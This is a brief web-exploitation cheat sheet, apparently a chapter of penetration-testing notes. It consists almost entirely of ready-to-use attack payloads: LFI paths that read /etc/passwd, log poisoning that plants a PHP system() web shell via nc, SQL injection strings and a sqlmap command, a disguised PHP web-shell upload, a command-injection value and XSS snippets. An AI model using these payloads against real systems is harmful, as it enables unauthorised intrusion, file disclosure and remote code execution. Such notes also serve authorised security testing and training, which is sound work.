🌐 Web Exploitation
This section covers common web vulnerabilities, payloads, and exploitation chains.
➡️ Environment: See 00_environment_setup
🗂️ Content Discovery
ffuf -u $URL/FUZZ -w /usr/share/wordlists/dirb/common.txt 🧾 LFI (Local File Inclusion)
$URL/index.php?page=../../../../etc/passwd
$URL/index.php?page=php://filter/convert.base64-encode/resource=indexLFI ➜ RCE (Log Poisoning):
echo '<?php system($_GET["cmd"]); ?>' | nc -nv $IP 80
# Then access: $URL/access.log?cmd=id🧬 SQL Injection
Manual:
' OR '1'='1
' UNION SELECT null, version()--Automated:
sqlmap -u "$URL/index.php?id=1" --dbs --batch📤 File Upload Bypass
# shell.php.jpg
GIF89a;
<?php system($_GET['cmd']); ?>Try changing content-type, extensions, double extensions: shell.pHp5, shell.jpg.php
🛡️ Command Injection
$URL/ping.php?host=127.0.0.1;id🧼 XSS (Cross Site Scripting)
<script>alert(1)</script>
<img src=x onerror=alert(1)>Next: 03_shells_and_tunnels